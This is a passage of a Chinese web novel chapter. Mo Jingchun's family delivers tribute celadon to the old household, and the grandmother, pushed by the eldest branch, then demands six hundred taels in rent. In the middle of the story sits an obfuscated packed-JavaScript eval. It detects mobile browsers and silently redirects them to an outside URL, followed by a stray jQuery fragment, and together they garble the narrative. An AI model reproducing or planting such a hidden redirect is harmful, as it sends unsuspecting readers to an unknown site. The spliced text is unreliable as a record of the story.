与莫老爷子温和的笑脸相比,莫老太太秦氏阴沉的脸更加显眼。
但莫惊春丝毫不在意,他们三房如今已经彻底摆脱老宅的控制,甚至还对老宅有恩,秦氏如果再摆脸色,那就是不知好歹了。
至于秦氏,是莫老爷子的责任,不想让外人对老宅指指点点,那约束秦氏的责任莫老爷子必须担起来!
而且明显的,莫老爷子已经在承担这个责任,看秦氏阴沉却有口难言的神色就看的出来。想必在之前,已经被莫老爷子敲打过,而刚才的低声呵斥,既是提醒也是警告。
再看看秦氏那黑沉的神色,就知道事后肯定少不了莫老爷子一顿训斥和说教了。
想到莫老爷子黑着脸教育秦氏的样子,莫惊春没忍住,轻笑出声。
“三弟真是好福气,有这么一个能干的女儿。听说就是阿春参考古籍复烧了咱家天青釉?!真是给莫家长脸了。”
莫失良站在正堂门前,看着莫失让和莫失俭带着窑工将一箱一箱的贡瓷从马车上卸下来搬进老宅,脸上带着虚伪却讨好的笑。
莫惊春福身行礼,唇角勾起一抹似笑非笑的弧度,却并不接话。她的眼神中透露出一丝疏离与冷漠,仿佛对莫失良的讨好毫不在意。
莫失让倒是嘿嘿一笑:“大哥,我这闺女厉害的呢,不比儿子差!”
“爹,咱家最聪明的就是阿春。”
莫少谦踏出正堂门,补充道,语气真诚又认真。
莫失良“呵呵”的干巴巴笑两声,脸色却是毫不掩饰的不屑。
很快,莫惊春看着自家续物山房的青瓷都卸进老宅的仓库,接着,这些瓷器将在底部刻画“德润窑”名号,之后交送窑务司。
莫少谦拿出两份名册,让莫失良和莫失让都在一式两份的名册上签字。
之前莫惊春和莫少谦给莫失让掰开揉碎的说了名册和签字的重要性,不仅是对老宅的约束,也是对自家的约束。当然,也是作为五千金的保障。
莫失良不想签字,他闪烁不定,尽管是笑脸,可那笑容却未到达眼底,显得格外虚伪。
“咱们自家人,不用了吧?!”
“大伯,这字还是得签。俗话说‘亲兄弟,明算账’,这些青瓷可都是我们续物山房费尽心血制作出来的。如今完好无损地交到你们手上,怎么着也得有个见证,您说是不?”
莫惊春说的直接,就差明说“日后这批瓷器如若出事,你们老宅休想甩锅”。
莫失良听懂莫惊春的意思,再撑不住笑脸。
“阿春,你这是何意?!”
“大伯,倘若贡瓷出错,老宅首当其冲。”莫少谦言辞犀利的说道,可话音一转,他语气又柔和下来。“但如果是制瓷的问题,那我们三房也不会推卸责任。”
——老宅不要想的推辞责任,同样,我们也不会!
“爹,签吧。”
说话的是莫少阳,他走过来,在莫失良耳边说了什么。
莫失良边听边点头,而神色也渐渐缓和起来,最后甚至带了笑。
莫惊春不禁皱眉。
再看莫少阳,他的动作鬼鬼祟祟,手指无意识地摩挲着腰间的玉佩,仿佛在盘算着什么不可告人的秘密。
见莫惊春看他,立刻换上笑脸。
瓷器交接完毕,莫老爷子正要说话,忽然门外跑来一个官窑的小工。那小工跑得气喘吁吁,满头大汗,汗水湿透了他的衣衫。他一边跑一边大声喊道:“老爷子,大爷,窑务司赵督陶官有急事,请您二位即刻过去!”他的声音中充满了焦急与紧张。
莫失良和莫少阳对视一眼,脸上闪过一丝了然,他的眼神中透露出算计,但很快又恢复了平静。
随即对莫老爷子道:“爹,窑务司召见,怕是有什么急事。要不咱们先过去?!”
“这是又有什么事?!昨日不是赵督陶官才来过......”莫老爷子起身,眉头却几不可见地皱了一下。他看了一眼站在一起的莫失让和莫少阳,眼神中透露出一丝疑虑,但还是选择了相信大儿子和大孙子。
“嗯,公事要紧,爹,你和大哥快去吧。”莫失让很上道,立刻说道。
“老三,我就先去,你们别走,留下吃了饭。”
莫老爷子又道。
“爹,不用,我们也要回家了。店铺里就她娘和阿雪......”
“让人喊你媳妇和阿雪过来......”
莫失让拒绝,可莫老爷子死活不同意。
“祖父,您和大伯快去吧,耽误了正事可不好。”
看两人僵持不下,莫惊春插话道,说完,她还朝着莫失让眨眨眼。
“对,吃了再走。”
莫老太太的声音从主位响起,可莫名的,莫惊春听出一股咬牙切齿的味道。
而莫失让更是大惊失色,毕竟这是分家之后秦氏第一次留饭。
莫惊春抬头看向秦氏,发现她身边站着小姑莫问月。
“老三,你娘都发话了,吃了再走。”
说完,莫老爷子拍拍莫失让的肩膀,就和莫失良、莫少阳一起匆匆离去,留下厅内众人。
事出反常必有妖。
莫惊春眯起眼睛,觉得这一会儿的事未免太过巧合,仿佛是一场精心编排的戏。她的心中充满了疑惑与警惕,仿佛察觉到了其中隐藏的阴谋。
果不其然,莫老爷子三人刚走,秦氏就清了清嗓子,那声音在突然寂静下来的厅堂里显得格外刺耳,仿佛是一颗石子投入了平静的湖面。
“既然今日人都齐了,有件事要说。老宅即将迁往府城,这宅子空着也是空着,我们商量着,二房和三房既然要用,就按年付租金吧。”她的话语中带着几分不容置疑的口吻。
厅内顿时安静下来,连窗外风吹柳条的声音都听得清清楚楚。
赵氏率先忍不住,声音因激动而有些发颤:“娘,怎么又要租金了?前几日爹爹不是说怕宅子失了人气,才让我们暂住吗?!”这近一年作为庄子的管事娘子,她的眼界和胆魄大了不少。
赵氏说道没错,前几日莫老爷子确实不是这么说的。
在窑务司赵督陶官来到浮梁后,就和老宅说了搬去府城的时间。
虽然是老宅的人都去,但老宅的屋子却不打算卖,用莫老爷子的话说,就是不管如何,浮梁的老宅是莫家的根。
但房子就是这么个奇怪的东西,一旦不住人,损坏的就会非常快,所以莫老爷子前几日找了莫失俭和莫失让过去,商量老宅屋子的事。
最终,莫老爷子让莫失俭一家子住回来,而后面的火窑让莫失让烧制瓷器用。
莫失俭和莫失让同意了。
所以此时,听到秦氏这样说,赵氏的脸上才会露出愤怒与不解的神情。
秦氏斜眼看她,目光冷冽如刃,仿佛要将赵氏看穿一般。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16245217|167948||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“怎么?白给你们住?天底下哪有这样的好事!分家了就是两家人,刚才阿春也说了,亲兄弟也要明算账!”她的话语中充满了冷酷与决绝。
莫失让皱眉道:“娘,二嫂说的对,当时爹和我们说让明晚住是为了照顾屋子,为何要付租金?再说我们最近刚做了供瓷手头实在不宽裕。”
“对,我们在老三的西山庄子住的也挺好......”
莫失俭的语气就没有莫失让这么硬气了,他的语气中带着几分无奈与委屈,眼神中透露出一丝哀求。
“分家了就是两家人!”
秦氏提高声音,手掌重重地拍在扶手上,那声音在厅堂内回荡,仿佛要将众人的反抗声都镇压下去。
“住别人家屋子,用别人家火窑,不给租金是什么道理?!”
这时,文氏和莫念秋也从后屋转出来,显然早已等候多时。
文氏穿着一身崭新的绛紫色绸缎裙褂,裙面上的金线在阳光下闪烁着耀眼的光芒,发间的金簪在阳光下闪着刺眼的光,仿佛在炫耀着自己的富贵与地位。
她假惺惺地劝道:“二弟、二弟妹,三弟,你们也别着急,娘这不是为你们好嘛。免得说你们占我们的便宜不是?!”她说话时手指轻轻抚过衣料,那动作显得格外做作,似在炫耀这身新衣。
莫念秋跟着附和,嘴角带着掩不住的得意:“是啊,我们在府城安家,花费可大了。这老宅给你们用,收点租金贴补家用,不过分吧?听说惊春妹妹的锔瓷手艺赚了不少呢,区区租金算什么。”
她的话语中充满了嘲讽与挑衅。
莫惊春冷眼看着这对母女的表演,心中明白秦氏的所作所为定是大房怂恿的结果。
大房眼看三房日渐兴盛,心中不平,加上前往府城,手里银钱恐怕也不足,自然打上自家的主意。但他们不能明说更啥都不能做,否则传出去他们的名声还要不要?!
——自家去府城享福了,走之前还要剥亲兄弟一层皮?!
再说莫少阳还要进学,有这些传言对他大大不利。
如此一来,就需要一杆“枪”,而秦氏作为莫失俭和莫失让的亲娘简直太合适了。
莫惊春的眼神中透露出一丝愤怒与不屑,但却依然保持着冷静。
而秦氏见有人支持,底气更足,挺直了腰板,脸上露出了得意的神情:“不多要,一年二百两,先付三年,共六百两。这价钱,已经是看在自家人的份上了。”
“六百两!”赵氏惊叫起来,脸色霎时变得苍白,仿佛遭受了沉重的打击。“这分明是抢钱啊!我们二房一年到头也赚不到这个数!”她的声音中充满了绝望与无助。
莫失俭拉住妻子,面色为难,如同吞了黄连一般。他的眼神中透露出一丝痛苦与无奈,轻声说道:“娘,这数目实在太大了,我们二房就是把所有家当卖了也拿不出啊。”
莫失让也道,声音因压抑着怒气而有些低沉:“娘,三房刚做了那么多青瓷,也拿不出这么多银子,况且铺子和庄子周转都需要银钱。”
秦氏又一拍桌子,震得桌上的茶具叮当作响。
“要住就要付租金,说破大天儿去,都是这个理!”
莫惊春终究还是没忍住,轻笑出声,那笑声清脆如瓷铃般悦耳,在这紧张的氛围中显得格外突兀。
她的笑容中带着一丝嘲讽与自信,仿佛早已把这局面看透。